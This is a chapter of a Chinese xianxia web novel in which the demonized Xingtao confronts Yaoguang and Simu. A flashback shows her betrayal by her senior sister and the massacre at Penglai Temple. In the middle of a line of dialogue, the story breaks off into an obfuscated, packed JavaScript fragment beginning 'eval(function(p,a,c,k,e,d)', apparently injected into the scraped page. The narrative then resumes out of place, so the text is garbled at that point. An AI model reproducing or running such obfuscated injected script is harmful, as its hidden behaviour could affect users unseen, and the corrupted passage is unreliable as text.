利齿划过红唇,划破皮肉带出了血珠,也带出了杏桃心中的滔天恨意。她嘶声道:“别装了!就算你是忘记了一切,也无法抹去你的罪!我如此信任你,你却如此对我!该死!该死!该死!!!” 地上突然开始剧烈地震动,瑶光下意识地抓住面前司幕的衣袖,而司幕更是转身握住瑶光的双臂,像是要将她护在怀里。 远方传来震耳欲聋的轰鸣,声势浩大,却离他们越来越远。 瑶光想起季昀之他们方才便是朝那方向飞去,心头一紧,猛地看向司幕焦急地问:“这是山震?” 司幕沉声道:“是雪崩。” “哈哈哈哈哈!你的朋友们怕是永世埋骨在那冰雪之下,再也无法见天日。司瑶,你痛心吗?”杏桃见她面露悲戚,心中狂喜更甚。下一秒,她却又变脸道:“不对,司瑶,你没有心,你怎么会痛心呢?” 杏桃的面容开始扭曲,像是在蓄力,瑶光见状推开挡在她面前的司幕,忙道:“司幕公子,我在这拖住梅夫人!你先走去救他们!” 司幕纹丝不动,他道:“有季昀之在,他们没事。” “不对!”瑶光皱紧眉头,这几日季昀之虽常诉寒意,实则亦因灵力损耗所致,再加上有小停与青稚在,遇上雪崩他定会招架不暇。 “昀之仙君之前与宿无的大战中受了内伤,灵力大损,未必能带他们脱困!”瑶光看向司幕,坚持道:“司幕公子,他们需要你的帮忙。” 司幕依旧没有动身的意思。 “你们在小声说些什么!都别想离开!” 见俩人窃窃私语,被无视的杏桃怒吼着,额间的魔印放出刺目的光芒,一股强大而狂暴的气息陡然从她体内爆发出来,席卷整屋。她的面容开始崎岖,身躯及四肢变得瘦长,血盆大口,尖齿獠牙,整个躯体高达两丈,如一只纤细的巨大蚂蚱。她的双眼渐渐变成血色,其中有一只双瞳浮现,在不停地上下滚动最终锁定二人。 她厉声嘶吼道:“都给我死!!!!!!!” 40. 漫山飘雪梅如故(七) 作为世上第一修仙门派的蓬莱观,进观之路自然极为艰难。而那些年,作为蓬莱观的引路弟子,便是资质最平凡的弟子——李杏桃。 此时的她,正终日靠在蓬莱观闭关门前端坐着。 “李杏桃!你又在这等那谁出关啊!”燕双双的声音尖锐地划破了宁静,她站在闭关门旁,居高临下地望着杏桃,眼神中带着鄙夷:“一天又一天,天天如此,你今日不用引路吗?” “双双师姐。”杏桃揉了揉坐麻了的双腿,站起身朝燕双双行礼,十分乖巧道:“招收期已过,这段日子无需引路,我便想在这儿等师姐出关。” 燕双双冷哼一声,语气中带着嘲讽:“那谁可是年后才出关,如今才年初,你还得好好等呢。不过也倒是,她不在,也没人陪你这废物修炼。”她上下打量着杏桃,眼中满是轻蔑。 杏桃苦恼道:“可是师姐说,我只是资质平庸罢了,不是废物。” “嘿,你胆子大了,敢跟你师姐我顶嘴了。”燕双双一步步逼近杏桃,眼中满是挑衅。“你不是废物,那就不会被师尊拒了好几年直到那谁给你求情才入得了门,就不会只有那谁愿意陪你修炼。实在想不通她,明明是历代最有天赋的弟子,却给你当陪练,真是浪费心神。” “师姐没有浪费心神,我有在很认真的练。师姐也说我已经进步很多了。” 杏桃一脸真诚地回着,燕双双气不到一处,“师姐师姐师姐,你开口闭口都是她,难道你除了她就没有别人了吗?若是你问我......其实我也可以......我也可以勉为其难......” 说着说着,燕双双别开脸,声音越来越低。 杏桃没听懂燕双双的意思,糊里糊涂地道:“也不是,我还是有其他朋友的。” “你!” 燕双双顿时臊红了脸,哼道:“朋友?你说的是山上的那些那些灵草灵花吧!你去师伯那处的灵鸢泉里,取些灵水,日日夜夜浇灌在它们身上,说不定能早日助它们化作人形。” 杏桃闻言,喜不自胜:“双双师姐所言当真?” “你难道听不出我是在......”燕双双两眼一转,抿唇一笑,颊边梨涡浅浅,改口道:“当真。” “那真是太好了!双双师姐!” “——双双。” 就在这时,徐莫言的声音由远及近地传来,燕双双心中一慌,暗道糟糕,若是让徐莫言撞见自己戏弄杏桃,又要被他说教了。 燕双双瞥下杏桃,连忙跑过去拉过徐莫言,匆匆离去。 但杏桃是真的信以为真,当晚便悄悄摸进了后山禁地。 夜色朦胧,山风飒飒,杏桃心中却像揣了只揣不稳的兔子,七上八下的。好不容易鼓起勇气蹑手蹑脚地靠近灵鸢泉,怎料刚走到那儿附近,便听到泉口处有窸窣声,吓得她连忙躲进了旁边的草丛里。 随后,一人衣衫不整地从那灵鸢泉出来,杏桃定睛一看,原来是她那年迈的师伯南广道仙。她松了口气,等他走远了,才敢偷溜进去。 可惜她转身的瞬间,没有听到她师伯一脸舒爽地感叹道:“这灵鸢泉泡澡真是舒服啊,闭关几年了都没好好洗澡,明天还来。”说罢,南广道仙便哼着小曲扬长而去。 当夜,杏桃担了满满的一桶水,走到日常最爱去的后山,看着这满山的灵花灵草,倒是犯难了。到底要浇哪一棵呢? 杏桃走着走着,突然,一抹嫣红映入眼帘,那是一株孤傲的红梅,独自伫立在山崖边,枝叶凋零,花瓣残败,似是命不久矣。她心中一紧,连忙提着水桶上前,小心翼翼地将泉水浇灌在梅树的根部。水一浇上,本来萎靡不振梅花树不停地在晃动,零散的梅花瓣纷纷落下,她以为它是在答谢她,开心的笑了。 接着一连数日,杏桃都锲而不舍地每夜夜探灵鸢泉挑水,又在晨时起,悉心浇灌那株孤傲的红梅。终于,在第九日的清晨,燕双双说的话成真了。 伴随着一阵清脆的落地声,一抹绯红映入杏桃眼帘。只见一袭红衣,宛若天外谪仙,静静地躺卧在树下。那绝世的容颜,出尘的气质,看得杏桃目瞪口呆,一时之间竟忘了言语。 良久,她才回过神来,试探着问道:“你是……这梅花精吗?” 那人静静地撑起身,没有丝毫回应,却用深邃的眸子紧紧地盯着杏桃。 杏桃有些不知所措,她挠了挠头,怯怯地说道:“是我这几日浇灌的泉水,助你化作人形,我们……以后就是朋友了,是吗?” 那人依然沉默不语,只是眸中的神色却愈发阴沉。 杏桃以为是他不会说话,继而道:“我听说妖族一般都没有名字,你……有名字吗?如果有的话,点点头。没有的话,摇摇头。” 那人依旧一动不动,既不点头,也不摇头。 “那我给你取个名字吧。”杏桃自顾自道:“我养了你九日,九日……九日……那就叫你‘梅九日’吧。”说罢,她还特地用石头在泥地上刻下了“梅九日”三个字。 “难听。” 低沉而又富有磁性的声音,突然在空旷的林间响起,杏桃双眸顿时亮了起来,惊喜道:“原来你会说话呀!” 那人似乎意识到自己还是忍不住出口,脸上满是懊恼。 “不好听吗?那......”杏桃双手环臂,围着那三个字转了又转,终于说道:“叫阿旭吧。九日旭,怎么样?好听不?”说罢,她用星星般的双眼望着那人,那人犹豫了片刻,终于僵硬地点了点头。 见状,杏桃欣喜若狂道:“好的,阿旭!那我们以后就一起等师姐出关吧!” 按照蓬莱观的规矩,妖鬼魔三族不可入观,所以从那以后,每一天,杏桃都会与梅旭相约在后山见面,偶尔还会与他一起静静地等待着师姐出关。可惜,等来等去,师姐因心系师姐夫提前出关,还未见到阿旭便匆匆离去。再到后来,师姐受重伤回来后性情大变,变得孤僻,一心在闭关修炼上。直至她出关下山,再回来脱离师门,她也从未见过阿旭。 一日,杏桃苦恼地坐在崖边,一声声叹息回荡在空谷之间,似有无尽的愁绪。梅旭走过去,问道:“可是担心你师姐?” 杏桃摇了摇头,道:“也不算是。” “那你......” 杏桃转眸看向梅旭,缓缓说道:“只是可惜师姐从未见过你。”她伸出手,轻轻握住梅旭的手,目光灼灼地盯着他,“若有机会,我定要让她与你相见。” 梅旭心弦一颤,望着他们紧握的手,喉结不自觉地滚动了一下,声音低沉地问道:“为何?” 杏桃松开手,轻轻拍了拍梅旭的肩头,嘴角扬起一抹温柔的笑意:“因为,你是我的好朋友啊。”她顿了顿,目光中流露出一丝不易察觉的期待,“难道不是吗?” 梅旭垂下眼眸,眼神瞬间暗淡下来,别过头,低声道:“不是。” “啊?我们不是朋友吗?”杏桃惊讶地瞪大了双眼,双手捧住他的脸,用力将他扳过来。 梅旭有些不自在,眼神躲闪,声音闷闷地说道:“不是。” “那是什么?”杏桃追问道,眼中满是好奇。 梅旭深吸了一口气,似乎鼓足了勇气,缓缓开口道:“我.......” 然而就在这时,杏桃感觉耳边一响,没听到他后面说了什么,倒是听到了一道熟悉的声音。“啊!是师姐的传音!”她惊喜地跳跃起来,丝毫不顾及梅旭黯然的脸色,一溜烟地跑了。 梅旭咬紧牙关,低声呢喃:“师姐师姐,你眼里只有你师姐……” 听着耳边师姐的传音,以为是师姐终于回头返岸,要重新拜入师门,杏桃二话不说双手生莲,纤手轻扬,指尖流转灵光,竟生生在观门处催生出一座传送阵。 传送阵发起,阵光闪烁,一道人影渐渐浮现,对方身姿清丽,正是她熟悉的师姐。 杏桃抑制不住激动,正想要上前拥抱,却见她身后翻起黑压压一片。 竟是一群凶神恶煞的魔族! 杏桃如遭雷击,她的声音颤抖着,不敢置信地唤了一声:“师姐?” 而那师姐却面带微笑地走到她跟前,拍了拍她的肩,在她耳边低语道:“做得好。”说完,便往魔族那边飞去。 山雨欲来风满楼,蓬莱观此刻笼罩在一片肃杀之气中。察觉到魔族气息的修仙弟子们纷纷持剑而来,面容凝重。为首的燕双双,身着道袍,手持长剑,如出鞘利刃般锋芒毕露。她厉声质问道:“杏桃!究竟怎么回事?!魔族怎会闯入我蓬莱圣地?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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燕双双的话音刚落,蓬莱观弟子们便齐声呐喊:“若要过!便从我们的尸体上踏过!”声音震天动地,回荡在山谷间,气势如虹,众人视死如归。 “没想到修仙门的人还是有血性的。”男子低头一笑,再抬眸时眼神变得冷酷起来,一字一字道:“魔军听令,定要将这蓬莱观踏平,无视任何代价!” 一声令下,魔族大军如黑色浪潮吞噬了昔日清幽的蓬莱观。杏桃眼睁睁看着同门一个个倒下,鲜血染红了青石地板,曾经仙音袅袅的仙府如今尸横遍野,空气中弥漫着血腥与绝望的气息。 刚刚还英姿飒爽的燕双双,如今却如破败的布娃娃般被魔兽碾压在地,曾经并肩作战的知己,香消玉殒,鲜血染红了她的道袍,也染红了徐莫言绝望的双眼。他紧紧地拥抱着燕双双冰冷的躯体,呢喃着她的名字,声音嘶哑破碎,像是来自地狱的哀嚎。 余光瞥见杏桃凝视,徐莫言满含恨意地朝她怒吼道:“杏桃!!!”下一秒,他便与燕双双一起被魔物硬生生压下,血肉模糊。 杏桃呆呆地立在一旁,大脑一片空白,耳边回荡着徐莫言对她充满仇恨的怒吼。她想要解释,想要呐喊,却发现声音哽咽在喉咙里,一个字也发不出来。 她跪倒在地,泪水无声地滑落,眼前的一切都变得模糊扭曲。之后的事情,她便忘了,只留下断断续续的残片,像是一幅支离破碎的画卷,拼凑不出完整的画面。 ——自己被魔兽拍碎的筋骨,梅旭撕心裂肺的呼喊,还有那妖艳男子似笑非笑的恶心嘴脸。 她记不清发生了什么,只记得无尽的痛苦和绝望,以及心中那股熊熊燃烧的恨意。那恨意如烈火般灼烧着她的灵魂,吞噬着她的理智,将她变成了一个只知复仇的傀儡,只剩下对师姐的滔天恨意。 她恨她,恨她为了一名男子远走高飞,抛下师门,抛下仙道。 她恨她,恨她背师叛道,利用她引魔入观,害得蓬莱观同门惨死。 她恨她,恨她利用自己的信任,将她推入深渊,得到如此下场。 恨!恨!恨! 这股恨意,如岩浆般灼烧着她的心,让她几欲发狂。 她要她死!!!! 梅花庄中,已全身魔化的杏桃死死地锁定瑶光与司幕二人,她厉声嘶吼道:“都给我死!!!”